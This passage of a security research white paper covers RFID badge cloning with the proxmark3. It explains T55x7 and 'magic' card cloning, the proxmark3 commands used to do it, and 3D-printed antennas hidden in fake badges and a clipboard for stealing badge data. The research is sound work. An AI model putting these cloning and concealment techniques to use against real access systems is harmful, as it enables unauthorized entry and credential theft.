printing,  firmware  enhancements,  and  device  pairing. The  tools  used  cross  functional  domains  ranging  from  devices  like  the  tiny  proxmark3  with  its  excellent software-­‐defined  radio  (SDR)  based  RFID  Swiss-­‐army  knife  to  the  more  “dish  washer”  looking  CubePro 3d  printer.  The  collection  also  includes  a  DEF  CON  22  acquired  RFIDler  v22-­‐beta,  NXP  PN5333  USB  stick, ChameleonMini,  RaspberryPi,  and  USB  Armory  embedded  USB  stick. In  order  to  improve  upon  these  tools  it  is  critical  to  understand  how  they  work  at  various  levels  so  as  to recognize  their  potential  and  become  comfortable  with  using  them  in  new  ways.  Many  of  these  tools  are extremely  well  documented  with  respect  to  forums  and  wiki  articles  explaining  how  they  are  operated. Few  however  go  into  much  detail  regarding  how  to  get  started  working  in  the  source  code.  Although  in some  cases  developers  gladly  answer  questions,  it  can  be  intimidating  for  a  new  comer  who  might  not know  where  to  begin.  This  research  was  performed  partially  to  help  consolidate  some  of  the  information about  these  devices  making  it  easier  for  others  to  get  involved.  At  the  same  time  the  contributions  from this  project  are  intended  to  be  helpful  for  others  using  the  technology. Changes  to  the  proxmark3  firmware  (now  available  on  GitHub)  are  documented  in  a  tutorial-­‐like demonstration  for  working  with  both  high  frequency  and  low  frequency  tags  with  and  without  an attached  client.  The  feature  enhancements  introduce  functionality  specific  for  working  with  125kHz AWID27  tags  as  well  as  for  working  with  NFC  in  stand-­‐alone  mode.  For  AWID27,  the  changes  allow  the operator  to  act  as  a  reader  as  well  as  to  clone  or  emulate  cards  based  solely  on  numbers  found  on  a typical  AWID  card.  The  NFC  stand-­‐alone  mode  enhancement  allows  reading  and  emulating  a  UID  from ISO14443a  compatible  tags.  The  new  mode  also  allows  writing  a  captured  UID  onto  a  special  “magic” card. Identified  uses  for  3D  printing  focus  on  the  construction  of  antennas  using  3D  printed  forms  as  well  as concealment  of  hacking  devices.  The  use  of  3D  printing  for  making  coils  is  advantageous  due  to  the possibility  of  lower  cost  and  customized  antennas.  Device  concealment  is  also  explored  with  examples for  outfitting  a  clipboard  with  a  proxmark3,  creation  of  fake  badge  readers  and  fake  badges.  Applications range  between  practical  attack  scenarios  and  research  scenarios.  As  insecure  low-­‐frequency  access  cards still  dominate  the  workplace  and  NFC  technology  is  gaining  steam,  it  is  critical  to  get  our  tools  ready  now to  identify  emerging  threats. HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS RFID  At  A  Glance RFID  tags,  badges,  and  cards  come  in  two  main  categories:  low  frequency  and  high  frequency.  As  of  May 2013,  legacy  125-­‐kHz  proximity  technology  was  used  in  70%-­‐80%  of  all  physical  access  control  systems according  to  Stephanie  Ardiley,  product  manager  at  HID  Global.  Implantable  low  frequency  RFID  chips have  also  seen  widespread  use  for  identifying  lost  pets.  These  are  both  fairly  simplistic  systems  in  which the  reader  energizes  a  coil  to  power  up  a  chip  and  modulate  back  a  stored  number.  The  high-­‐frequency RFID  however  includes  applications  like  contactless  credit  cards,  public  transit  fare  cards,  smart  posters, and  other  functions  utilizing  Near  Field  Communication  (NFC)  built  around  ISO14443a. What  is  an  RFID  Tag The  RFID  tags  described  in  this  paper  are  passive  devices.  They  are  all  essentially  coils  of  wire  tuned  to  a connected  integrated  circuit.  When  the  coil  is  within  the  field  produced  by  the  carrier  signal  of  the reader,  it  induces  current  to  power  the  integrated  circuit.  The  chip  will  then  do  something  similar  to opening  and  closing  the  circuit  with  the  coil  to  control  the  damping  factor.  This  has  the  effect  of determining  how  much  the  coil  will  resonate  from  the  reader.  The  reader  detects  this  as  a  changing voltage  and  interprets  the  signal  based  on  the  modulation  and/or  encoding  for  that  protocol. ISO14443a/NFC  systems  perform  this  system  but  with  a  far  richer  command  set  offering  access  to  more data  and  the  occasional  encryption  option. Figure  1  RFID  Tag  Teardown  (via  Wikipedia) RFID  tags  are  used  in  everything  from  the  common  office  access  control  systems  to  passports  and  mobile payment  systems.  Advertisers  and  game  designers  have  been  using  NFC  in  toys  and  smart  posters  to provide  a  more  meaningful  interactive  experience.  We  are  also  now  seeing  perhaps  the  first  use  of  NFC as  a  protection  mechanism  in  consumer  products  with  the  Keurig  2.0  coffee  makers  utilizing  an  NFC  tag to  differentiate  unsanctioned  grinds. HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS RFID  tags  have  the  potential  to  make  our  lives  easier  with  contactless  payment,  automatic  device configuration,  and  seemingly  secure  locks,  but  the  reality  is  that  much  of  this  technology  has  been implemented  insecurely  because  there  is  a  general  lack  of  knowledge  on  how  to  evaluate  these  systems. Low  Frequency  Cloning  (T55x7) Cards  using  the  Atmel  T5557  and  ATA5567  chipset  are  collectively  referred  to  as  T55x7  cards.  With seven  32-­‐bit  optionally  password  protected  EEPROMS,  these  cards  can  be  configured  to  emulate  a  wide range  of  low-­‐frequency  tags.  Modulation  and  encoding  supported  by  the  chip  includes  frequency-­‐shift keying  (FSK),  phase-­‐shift  keying  (PSK),  Manchester  encoding,  Biphase  encoding,  and  non-­‐return  to  zero (NRZ)  encoding.  Each  EEPROM  is  referred  to  as  a  block  with  block  0  being  used  to  configure  modulation and  data  rate  options  while  block  1-­‐7  may  be  used  to  supply  up  to  224  bits  of  raw  data  for  transmission. T55x7  cards  can  simulate  the  most  popular  HID,  Indala,  EM410x,  and  AWID  formats  among  others making  them  a  very  real  threat  to  businesses  relying  on  these  cards  alone  for  access  control.  With  the help  of  a  few  simple  proxmark3  commands,  it  is  possible  to  easily  convert  any  supported  tag  into  a  T55x7 clone. Inside  a  T5557  card,  it  isn’t  much  different  from  a  “normal”  RFID  badge  as  shown  in  this  illustration  from http://www.proxclone.com: Figure  2  T5557  Construction1 The  block  0  configuration  of  a  T55x7  controller  varies  slightly  but  the  common  T5557  configuration  can be  found  in  the  Atmel  datasheet2: 1  http://proxclone.com/T55x7.html 2  http://media.digikey.com/pdf/Data%20Sheets/Atmel%20PDFs/T5557.pdf HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Figure  3  T5557  Block  0  Configuration  from  Datasheet Low-­‐frequency  cards  can  of  course  also  be  emulated  in-­‐circuit  by  simply  crafting  the  expected  waveform and  presenting  it  to  the  card  reader.  These  techniques  are  covered  in  later  sections. High  Frequency  Cloning So  called  “magic”  are  well  known  in  the  industry  because  they  allow  the  end  user  to  reprogram  the normally  write-­‐only  block  0  values  containing  most  importantly  the  card’s  unique  identifier  (UID).  Along with  well-­‐documented  cracks  against  the  MiFare  Classic  encryption  scheme,  this  allows  an  attacker  to make  a  complete  duplicate  MiFare  Classic  card  in  potentially  under  a  minute  even  when  encryption  is used.  Also  referred  to  as  “changeable  uid”  or  “Chinese”,  these  cards  are  available  for  a  variety  of  shapes sizes  and  formats  with  some  companies  such  as  Clone  My  Key3  offering  full  duplication  service. Another  approach  comes  from  hardware  devices  designed  to  simulate  the  waveform  and  even  responses from  ISO14443a  compliant  readers.  One  of  the  most  interesting  techniques  however  has  to  be  the  use  of a  Chameleon  circuit.  Designed  at  Ruhr  University  Bochum,  this  circuit  is  designed  to  store  and  emulate multiple  NFC  tags  with  various  data  sets  as  well  as  snooping  on  NFC  communication  to  potentially uncover  UIDs  or  other  sensitive  data.  Among  other  things,  this  device  was  used  to  highlight  fundamental flaws  in  the  Akademisches  Förderungswerk  (AKAFÖ)  contactless  payment  system  commonly  used  in German  universities.4 3  http://www.clonemykey.com/ 4  Timo  Kapser,  Milking  The  Digital  Cash  Cow  [29c3]  https://www.youtube.com/watch?v=Y1o2ST03O8I HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Introducing  the  Proxmark3  (pm3) Proxmark3  is  the  brainchild  of  Koning  Gans  who  developed  the  basis  of  the  system  while  analyzing  the security  of  the  local  transit  cards.  The  idea  is  to  use  a  less  expensive  FPGA  to  perform  high-­‐quality software-­‐defined  radio  (SDR)  paired  with  an  ARM  processor  capable  of  performing  encoding  operations as  well  as  moderating  instructions  from  the  user.  The  project  is  a  completely  open  source  (hardware  and software)  project  for  affordable  RFID  research  on  both  high  frequency  and  low  frequency  target  systems. The  proxmark3  can  interact  with  or  simulate  a  wide  range  of  RFID  tags  with  additional  support  being added  through  community  maintained  firmware5.  An  assembled  board  can  currently  be  purchased  for $229  without  antennae  or  an  enclosure.6  Tuning  commands  within  the  ARM  operating  system  assist  in construction  of  high  quality  coils  for  as  little  as  the  cost  of  a  cable. Proxmark3’s  FPGA At  the  core  of  the  Proxmark3  is  a  Xilinx  Spartan-­‐II  FPGA  driven  by  code  authored  in  Verilog  and  compiled with  the  ISE  WebPACK.  A  modular  design  allows  for  different  discrete  functionality  blocks  available  for switching  by  simply  redirecting  pin  connections  on  the  fly.  The  FPGA  defines  a  serial  peripheral  interface (SPI)  used  for  some  of  the  most  important  functions  such  as  driving  the  coil  and  reading  from  the analogue-­‐digital  converters.  The  FPGA  also  implements  a  synchronous  serial  port  (SSP)  used  for communicating  data  from  the  FPGA  to  the  ARM  in  low  frequency  mode. Figure  4  Annotated  Proxmark3  (Xiling  Spartan-­‐II  FPGA) 5  https://github.com/Proxmark/proxmark3 6  http://store.ryscc.com/collections/proxmark-­‐3/products/naked-­‐proxmark-­‐3  [$229  as  of  7/17/2015] HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Proxmark3’s  CPU An  ATMEL  32-­‐bit  RISC  processor  (AT91SAM7SXX  series)  handles  all  of  the  high  level  functions  on  the proxmark3  board.  The  ARM  processor  also  loads  configurations  into  the  FPGA  for  different  modes  of operations  such  as  switching  between  high  frequency  and  low  frequency  modes.  All  USB  communication from  the  client  application  is  handled  within  the  ARM  processor  before  deciding  what  if  any  action  must occur  with  the  FPGA. Source  for  the  program  running  on  the  CPU  is  found  in  the  armsrc  path.7  The  main  logic  on  the  ARM processor  is  in  AppMain()  within  the  appmain.c.  After  initializing  the  device,  the  ARM  loops  checking  for USB  commands  or  button  presses.  Commands  sent  over  the  USB  serial  link  are  represented  with  opcodes defined  across  header  files8  and  also  maintained  in  a  LUA  script9.  UsbPacketReceived()  translates  these commands  into  function  calls  on  the  ARM. Figure  5  ATMEL  32-­‐bit  RISK  Microcontroller Samples  from  the  FPGA  are  stored  in  a  DMA  buffer  on  the  ARM  referred  to  as  BigBuf.  This  data  may  be samples  from  the  ADC  or  data  for  the  Mifare  emulator.  In  sniffer  mode,  the  ARM  can  attempt  to simultaneously  decode  signals  with  both  Manchester  and  Modified  Miller  encoding  looking  for  a  valid signal.  Contents  can  also  naturally  be  sent  to  the  host  for  other  types  of  analysis  including  visual inspection.  (Refer  to  BigBuf.c  for  buffer  related  functions.) 7  https://github.com/Proxmark/proxmark3/tree/master/armsrc 8  https://github.com/Proxmark/proxmark3/search?q="define+CMD_ACK"&type=Code 9  https://github.com/Proxmark/proxmark3/blob/master/client/lualibs/commands.lua HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Proxmark3’s  ADC The  Spartan-­‐II  FPGA  connects  to  a  Texas  Instruments  TLC5540  analogue-­‐to-­‐digital  converter  (ADC).  This 8-­‐bit  ADC  sends  readings  from  the  coil  to  the  FPGA  across  an  8-­‐pin  bus.  The  FPGA  uses  the  serial peripheral  interface  (SPI)  to  control  the  ADC  and  SSP  to  share  data  to  the  ARM.  The  TLC5540  collects  up to  40  million  samples  per  second  giving  a  theoretical  maximum  of  20MHz  per  the  Nyquist  rate. Figure  6  TI  TLC5540  8-­‐bit  40MSPS  ADC Proxmark3’s  Connections The  proxmark3  design  uses  a  hirose  4-­‐pin  connector  for  the  antenna  along  with  mini-­‐USB  for  both  data and  power.  USB  support  emulates  a  USB  serial  connection  allowing  it  to  operate  without  any  driver installation  on  most  systems.  Proxmark3  also  offers  general  purpose  and  JTAG  pins  outside  of  the  scope of  this  document.  For  human  I/O,  there  is  a  single  button  and  a  whole  lot  of  lights  to  provide  feedback about  the  proxmark3  status  while  in  operation. Figure  7  Proxmark3  I/O HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS The  NXP  PN533  NFC  Transceiver  Chipset The  PN5333  transceiver  module  is  fully  compatible  with  ISO14443a,  ISO14443b,  and  FeliCa  tags  in reader  and  writer  mode10.  It  is  also  interoperable  with  ISO18092,  ECMA  340  peer-­‐to-­‐peer communication  and  comes  in  a  convenient  USB  enclosure  complete  with  libNFC  support.  This  tool benefits  from  the  NXP  chipset  ensuring  better  interoperability  especially  with  changeable  UID  tags.  This USB  dongle  also  gives  the  opportunity  to  experiment  a  little  more  freely  with  Linux  RFID  tools  such  as  the NFC  tools  included  with  Kali  Linux.  The  PN533  USB  package  is  available  from  a  variety  of  sources generally  ranging  from  $40-­‐$60  including  test  cards. Figure  8  Example  PN533  USB  Dongle With  support  for  most  popular  Linux  distributions  as  well  as  OS  X  and  Windows,  Libnfc  is  a  great  tool  for identifying  tags  and  performing  research  on  target  systems.11  The  PN533  is  just  one  of  many  available NFC  USB  peripherals  available  with  support  for  libNFC. RFIDler A  product  of  Aperture  Labs,  RFIDler,  originally  was  funded  via  Kickstarter12  and  was  available  for  sale  as the  ‘v22-­‐beta’  revision  board  and  coil  at  DEF  CON  22.  The  goal  of  RFIDler  is  to  create  an  extremely  simply and  low  cost  circuitry  for  interacting  with  low  frequency  RFID.  The  circuits  use  outputs  from  a  PIC microcontroller  along  with  basic  analogue  circuitry  to  form  and  read  125kHz  modulated  signals.  A  3d case  was  designed  by  Aperture  Labs  and  published  as  a  free  model  on  Thingiverse13. RFIDler  Internals A  basic  LC  tank  is  used  for  the  antenna  driven  by  the  PIC32  microcontroller  and  amplified  with  the analogue  components.  Digital  potentiometers  are  used  to  control  thresholds  for  determining  logic  levels while  interpreting  signals.  Numerous  LED  outputs  can  be  used  to  visually  indicate  the  device  status. Automatic  command  execution  allows  for  a  basic  stand-­‐alone  operation. 10  http://www.nxp.com/documents/short_data_sheet/PN533_SDS.pdf 11  http://nfc-­‐tools.org/index.php?title=Libnfc 12  https://www.kickstarter.com/projects/1708444109/rfidler-­‐a-­‐software-­‐defined-­‐rfid-­‐reader-­‐writer-­‐ emul 13  http://www.thingiverse.com/thing:427536 HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Figure  9  The  Annotated  RFIDler Unfortunately  the  RFIDler  acquired  at  DEF  CON  22  for  this  research  has  problems  reading  most  tag formats.  With  each  tag  it  has  been  necessary  to  spend  a  good  bit  of  time  finding  the  sweet  spot  and adjusting  POTSET  values.  A  rectangular  multi-­‐layer  coil  antenna  tuned  for  the  RFIDler  v22-­‐beta  board was  made  but  it  was  still  not  possible  to  get  consistent  tag  reads.  Furthermore  our  RFIDler  has  a tendency  to  actually  indicate  a  successful  tag  decode  but  report  back  an  incorrect  decoding  making practical  application  difficult. 3d  Printing Additive  manufacturing  is  the  process  by  which  a  substance  is  gradually  deposited  layer  by  layer  to  build up  a  3-­‐dimensional  model.  VERT’s  CubePro  from  Cubify  supports  both  PLA  and  ABS  plastic  with  layer thickness  options  of  70,  200,  or  300  microns  and  3  patterns  for  internal  structure.  With  a  large  build volume  (11.2”  x  10.6”  x  9.06”)  it  is  on  the  large  end  of  consumer  printers14. 14  http://www.cubify.com/ HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Figure  10  CubePro  Promotional  Picture Printing  Process Preparing  the  drawing 3D  models  are  drawn  in  standard  CAD  software  and  then  imported  (STL/etc)  into  the  CubePro  (or  other CAM  software)  to  slice  the  model  into  2D  layers  suitable  for  printing. Preparing  the  Plate The  CubePro  uses  a  print  plate  with  a  coating  of  water-­‐soluble  glue  that  is  dissolved  after  the  print allowing  the  model  to  be  scraped  off.  The  first  step  is  to  coat  the  printed  surface  with  this  glue  so  that  the extruded  filament  adheres  to  the  print  plate  rather  than  itself. Extrusion Drive  gears  on  the  extruder  feed  filament  into  a  hot  print  nozzle.  When  the  print  starts,  the  extruder  and the  print  area  both  are  heated  until  the  filament  begins  to  extrude.  Excess  filament  is  pushed  into  a  trash bin  and  then  wiped  off  before  a  print  commences. Movement The  extruder  is  on  a  gantry  moving  along  the  x  and  y-­‐axis  while  the  print  bed  moves  down  gradually  to provide  the  z  axis.  As  each  layer  is  drawn,  fans  are  switched  on  and  off  as  needed  to  perform  cooling. Retrieving  the  Print After  the  printer  has  completely  generated  a  model,  it  will  be  stuck  the  to  print  plate  thanks  to  the  glue applied  before  printing.  The  object  is  removed  by  soaking  in  warm  water  for  several  minutes  and  then carefully  prying  the  model  away  from  the  build  plate. HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Printing  Pitfalls 3D  printing  is  not  yet  a  consumer  friendly  technology.  CAD  skills  as  well  as  some  sense  of  industrial design  and  materials  science  are  needed  to  excel  at  creating  custom  3d  components.  Printers  can  also have  tedious  calibration  processes  wasting  time  and  filament  for  the  operator.  Beyond  this,  operation  of an  extrusion  based  3D  printer  will  almost  inevitably  lead  to  debris  jamming  the  drive  gears  or  clogging the  print  nozzle.  This  is  why  it  is  important  to  know  how  to  clean  critical  printing  parts  disassembling them  as  needed.  For  the  VERT  Makerbot  replicator  5,  this  happened  between  basically  every  single  print. On  the  CubePro  the  first  clog/jam  did  not  occur  until  after  more  than  700g  of  models  had  been successfully  printed.  At  that  point,  the  debris  show  below  led  to  filament  flow  errors  and  disassembly  of the  extruder. Figure  11  Filament  debris  in  extruder  drive  gears Printing  Coil  (Antenna)  Forms The  LC  tank  used  by  RFID  devices  involves  a  coil  (inductor)  tuned  to  the  capacitor  for  the  desired resonance  frequency.  The  induction  of  the  coil  is  dependent  on  the  shape,  size,  wire  diameter  and number  of  turns  in  the  coil.  Microchip  has  an  excellent  application  note  describing  the  calculations  for various  shapes  and  properties  of  RFID  antennas15.  The  proxmark3  GitHub  also  contains  details  of antenna16  designs  specific  to  the  proxmark3  but  which  can  be  modified  for  other  applications  with  the appropriate  calculations  or  measurements.  3d  printing  can  easily  produce  the  shapes  needed  to  form wires  into  the  desired  shapes  with  precise  measurements.  Once  an  antenna  form  has  been  designed,  it can  be  integrated  with  other  models  to  make  coils  hidden  within  other  objects  such  as  clipboards, lanyards,  phone  cases,  or  even  fake  card  readers. 15  http://ww1.microchip.com/downloads/en/AppNotes/00710c.pdf 16  https://github.com/Proxmark/proxmark3/wiki/Antennas HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS First  Antenna  Design The  first  antenna  design  tested  was  inspired  by  D18c7db’s  LF  antenna  from  the  proxmark3  wiki17  but using  3D  printed  components  to  create  the  shape.  The  first  antenna  constructed  demonstrated  higher voltages  than  the  $60  commercial  antenna  purchased  with  the  proxmark3. Figure  12  First  Coil  Tuning  Output Constructing  this  antenna  required  some  supplies  (note  that  CubePro  filament  costs  above  average): 40  AWG  Magnet/Enamel  Wire $9.99  (enough  for  1000+  coils) Retractable  32”  USB<-­‐>Hirose $5.75  (any  Hirose  cable  is  fine) Printed  form $4  (CubePro),  $1  (generic),  Shapeways  ($6) Silicon  squeeze  tube  (optional) $3  (enough  for  multiple  coils) Heat  shrink  tubing  (optional) And  some  basic  tools: Soldering  iron Wire  strippers To  start,  tape  down  a  length  of  wire  on  the  front  and  pull  it  to  the  back  with  the  wire’s  groove.  Now  count with  each  bend  of  the  wire  (i.e.  count  4  per  turn)  until  you  reach  480  (120  turns).  Be  careful  with  each turn  that  the  wire  is  not  caught  on  the  side  of  the  form  or  anywhere  other  than  directly  in  the  path  for  the wire.  At  the  end,  pull  a  length  of  the  wire  to  the  front,  tape  it  down,  and  solder  a  short  wire  to  each  end  of the  coil.  This  is  more  than  enough  turns  but  this  is  a  case  where  extra  is  definitely  better  than  not  having enough.  Removing  turns  from  the  loose  end  is  easy  but  if  you  don’t  have  enough  turns  after  you’ve  cut the  wire  and  started  testing,  you  are  out  of  luck  for  adding  new  turns.  (If  you  have  a  good  meter,  you  can verify  that  the  connections  are  stable  before  the  next  step.)  It  is  also  important  to  note  that  the  enamel  of the  wire  will  prevent  conductivity  but  the  heat  of  the  soldering  iron  allows  a  joint  to  be  formed.  The enamel  can  also  be  removed  by  gently  scraping  with  a  razor. The  hirose  cable  has  a  wire  pair  for  low  frequency  tuned  coils  and  high  frequency  as  indicated  in  the referenced  wiki.  The  wire  within  the  hirose  connector  VERT  tested  had  stranded  wires  great  for 17  https://github.com/Proxmark/proxmark3/wiki/Antennas#D18c7db's-­‐LF-­‐Antenna HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS connecting  into  a  proto-­‐board.  The  antenna  can  now  be  attached  to  the  proxmark3  through  a breadboard  and  tested  on  the  proxmark3  with  the  ‘hw  tune’  command.  The  initial  tune  execution  should show  an  optimal  frequency  below  125kHz  as  in  figure  13. Figure  13  Untuned  LF  antenna By  gradually  removing  coils,  the  optimal  frequency  increases  little  by  little  as  shown  in  figure  14. Figure  14  Unwinding  the  coil  to  tune  it The  coil  is  unwound  enough  when  the  tune  function  indicates  that  your  target  frequency  is  the  optimal frequency  for  the  circuit.  Since  125kHz  is  the  carrier  frequency  for  most  badges  used  for  access  control, HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS this  frequency  was  selected  for  the  coil.  For  my  proxmark3,  this  turned  out  to  be  around  90  turns  of  the coil  rather  than  the  calculated  107  turns.  (This  could  be  the  result  of  component  tolerances  or  uneven wire  coiling  but  in  the  end  shouldn’t  matter  as  long  as  decent  voltage  is  observed.) Figure  15  Tuned  coil  for  first  antenna The  new  antenna  itself  is  not  much  different  in  size  than  a  typical  building  access  control  card  making  it ideal  for  ‘blending  in’  when  used  in  card  simulation  mode.  When  building  an  antenna  like  this  remember that  40  AWG  wire  is  incredibly  thin  and  easy  to  break  so  it  helps  to  use  adhesives  to  hold  in  the  wires  of the  coil  while  also  better  securing  the  antenna  as  a  whole  to  the  cable.  Otherwise  it  can  be  very frustrating  to  finish  up  an  antenna  only  to  tear  too  much  of  the  lead  off  by  accident. Figure  16  First  antenna  size  perspective The  use  of  silicon  sealant  around  the  coils  helps  keep  the  coil  in  place  and  tightly  wound,  adding  strength to  the  very  fragile  magnet  wire.  The  use  of  heat  shrink  tubing  and  hot  glue  also  helps  reduce  the  tension HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Figure  17  First  antenna  (back  side) BADge  Antenna With  the  antenna  already  being  very  similar  in  size  to  a  typical  RFID  card,  it  is  easy  to  extend  the  drawing by  adding  a  lanyard  hook  to  make  for  an  antenna  that  can  be  worn  with  a  lanyard  and  look  very  similar  to a  ‘real’  badge.  Adding  the  loop  was  a  trivial  step  in  CAD  once  general  dimensions  were  known. Figure  18  Antenna  with  Lanyard  Loop  in  CubePro The  antenna  was  tuned  similar  to  the  process  described  above  and  then  a  black  wire  was  run  through  a newly  created  hole  in  a  black  lanyard.  The  cable  was  able  to  come  out  at  the  top  end  with  leads  for  the antenna  while  the  hirose  connector  for  the  proxmark3  remained  in  my  pocket  out  of  site.  The  cost  of  this model  on  Shapeways  was  $12.68  including  shipping  and  had  excellent  quality  as  shown  in  figure  19. HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Figure  19  Antenna  hidden  in  fake  badge Clipwnd  (Clipboard  with  a  Kick) This  storage  clipboard  comes  packing  a  punch  with  3D  printed  guide  bars  holding  the  proxmark3  and  its accessories  (including  a  USB  battery  pack)  in  position  to  start  stealing  badge  data.  The  addition  of embedded  computers  can  open  the  doors  for  more  advanced  functionality  with  support  via  smartphone or  by  a  third  party  overseeing  your  RFID  hacking  operation. Figure  20  Storage  clipboards  can  hide  RFID  tools  in  plain  sight HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Business  Information  Modeling  (BIM),  3D  Scanning,  and  RFID  Hacking 3D  printing  opens  up  many  doors  for  rapid  prototyping  of  enclosures  to  make  RFID  hacking  tools  look like  something  other  than  what  they  are.  The  problem  however  is  accurately  capturing  a  likeness  of  the intended  object  without  detailed  measurements  or  excellent  artistic  skills.  Fortunately  there  are  some resources  available  for  reducing  the  complexity  of  this  problem.  Building  Information  Models  (BIMs)  are a  great  example  of  this  with  more  and  more  manufacturers  contributing  3D  models  of  their  products  for the  purpose  of  simplifying  the  construction  process.  Catalogues  of  these  models  are  available  for architects  to  pull  into  AutoCAD  files  with  the  Autodesk  Seek  BIM  catalogue.18  A  simple  Google  query  for ‘DWG  file  repository’  also  reveals  several  other  options  for  obtaining  useful  model  data. Sometimes  a  model  simply  is  not  available  for  whatever  reason  and  other  steps  must  be  taken  to generate  a  model.  Just  a  few  years  back  this  would  generally  mean  purchasing  a  $1000+  desktop  scanner or  perhaps  a  digitizing  arm  to  take  precise  measurements.  This  is  no  longer  the  case  however  as  the rapid  evolution  of  moderately  priced  3D  printing  has  created  a  market  for  hobbyist  friendly  3D  scanning solutions.  Some  software  solutions  like  David  3D19  process  images  of  an  object  while  a  laser  beam  moves across  it.  This  makes  it  possible  to  invest  more  or  less  depending  on  the  required  scan  fidelity  as  the software  can  achieve  quality  scans  with  relatively  low  quality  hardware.  The  technology  to  map  out  a  3D space  has  also  penetrated  into  consumer  devices  with  the  most  notable  instance  being  the  Xbox  Kinnect gaming  controller.  With  the  release  of  APIs  for  working  with  the  Kinnect,  software  packages  such  as Skannect  and  ReconstructMe  now  allow  it  to  be  used  a  general-­‐purpose  3D  scanner  with  impressive results.  More  recently  VERT  has  experimented  with  3D  scanning  using  the  free  123D  Catch  app  from Autodesk20  that  processes  a  series  of  smartphone  photos  to  reconstruct  an  object. Using  Proxmark3  like  a  Boss The  proxmark3  is  only  as  powerful  as  the  firmware  it  uses  and  the  commands  known  to  the  operator.  In the  first  half  of  2015  there  have  been  several  new  features  implemented  to  make  the  system  more powerful.  This  section  of  the  white  paper  starts  by  giving  an  example  of  analyzing  an  unknown  card  and cloning  it  to  a  T55x7  using  commands  from  pm3  developer  Marshmellow42.  Sometimes  however  a  job may  call  for  digging  into  the  proxmark3  firmware  and  adding  new  features  for  specific  tasks.  This  section provides  an  overview  of  how  to  use  some  of  the  newer  advanced  features  explains  by  example  how  to design  and  implement  new  commands  using  the  AWID26  format  as  an  example. Using  ‘lf  search’ This  section  white  paper  focuses  on  a  few  of  the  changes  in  the  low  frequency  (lf)  context  of  the  device. New  features  introduced  in  March  2015  allow  automatic  identification  of  low  frequency  tags  and  easy 18  http://seek.autodesk.com/ 19  http://www.david-­‐3d.com/ 20  http://123d.autodesk.com/catch/ HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS recovery  of  the  demodulated  tag  data.  This  is  particularly  useful  when  the  goal  is  to  simulate  or  clone  a tag  after  interrogating  it.  The  first  step  in  this  process  is  ‘lf  search,’  a  command  to  sample  data  from  the coil  and  test  each  implemented  demodulation  looking  for  a  match. Figure  21  Identifying  HID37  tag  via  'lf  search' With  the  samples  in  the  proxmark3’s  graph  buffer,  it  is  possible  to  use  other  commands  to  inspect  the waveform.  Simulation  of  the  tag  from  this  point  is  as  simple  as  running  ‘lf  simfsk’  with  no  other arguments.  Clock  and  logic  settings  are  used  from  the  identified  waveform  as  well  as  the  demodulated bit  stream. Printing  and  using  the  demodulated  buffer The  hexadecimal  representation  of  the  demodulated  buffer  can  be  printed  with  the  data  command ‘printdemodbuffer  x’  as  shown  in  the  following  figure. Figure  22  demodbuffer  from  HID37  waveform With  a  little  help  from  a  forum  post  on  the  proxmark  developers  community  forum21  indicates  the  T55x7 block  0  configuration  for  different  popular  tag  types.  HID  tags  use  FSK2a  with  an  RF/50  data  rate  where a  logical  0  consists  of  six  logic  0  FSK  cycles  and  a  logical  1  is  signaled  by  five  logic  1  FSK  cycles.  This 21  http://www.proxmark.org/forum/viewtopic.php?id=1767 HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS corresponds  to  block  0  settings  0x00106070.  The  demodbuffer  bytes  can  then  be  split  up  into  blocks  and programmed  onto  the  T55x7  card. Figure  23  Writing  demodbuffer  to  T55xx Developing  New  Features  for  The  Proxmark3 Sometimes  a  task  requires  going  beyond  existing  features  to  get  the  job  done.  The  open  source philosophy  of  tools  like  the  proxmark3  make  this  possible  but  it  is  not  always  intuitive  where  to  begin. Designs  for  the  hardware  and  software  of  proxmark3  are  maintained  in  a  GitHub  repository  along  with  a helpful  wiki  for  getting  started.22  This  section  is  intended  as  a  reference  guide  for  getting  started  with proxmark3  firmware  development. Before  jumping  into  the  code  it  is  helpful  to  introduce  (or  refresh)  some  key  concepts  related  to  how  the pm3  operates.  Proxmark3  is  a  USB  powered  device  designed  to  either  run  independently  with  push-­‐ button  input  (stand-­‐alone  mode)  or  receiving  commands  over  a  USB  serial  data  link.  In  contrast  to  tools like  RFIDler  or  the  recently  released  ChameleonMini,  serial  commands  are  sent  to  the  pm3  using  a custom  client  rather  than  having  a  native  text  driven  command  line  interface.  The  proxmark  client instead  issues  commands  to  the  hardware  by  sending  an  UsbCommand  data  structure  containing  a command  number  and  arguments  to  be  consumed  and  processed  by  the  ARM  CPU.  This  device/client model  reduces  communication  on  the  serial  bus  and  allows  developers  to  offload  some  operations  from the  resource  constrained  ARM.  (Constraints  must  be  considered  in  terms  of  both  storage  space  and processing  capability.) The  FPGA  is  a  lot  of  what  makes  proxmark3  standout  from  the  crowd  but  fortunately  knowledge  of Verilog  is  not  required  for  most  development  tasks.  In  fact,  it  should  be  possible  to  add  support  for  any low-­‐frequency  tag  format  entirely  within  C  code.  In  low-­‐frequency  mode,  the  FPGA  reads  raw  A/D samples  via  SPI  and  passes  them  onto  the  ARM  for  processing  using  SSP.  In  high-­‐frequency  mode  the FPGA  abstracts  ISO  compliant  modulations  so  that  the  ARM  can  work  with  those  types  of  tags  as  well.  As a  C  developer  looking  to  enhance  the  proxmark3,  the  three  main  directories  of  interest  are  armsrc,  client, and  common.  These  intuitively  named  directories  contain  code  for  the  ARM,  the  proxmark  client,  and  of course  shared  functionality  accessible  by  either  component. 22  https://github.com/Proxmark/proxmark3 HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS In  order  to 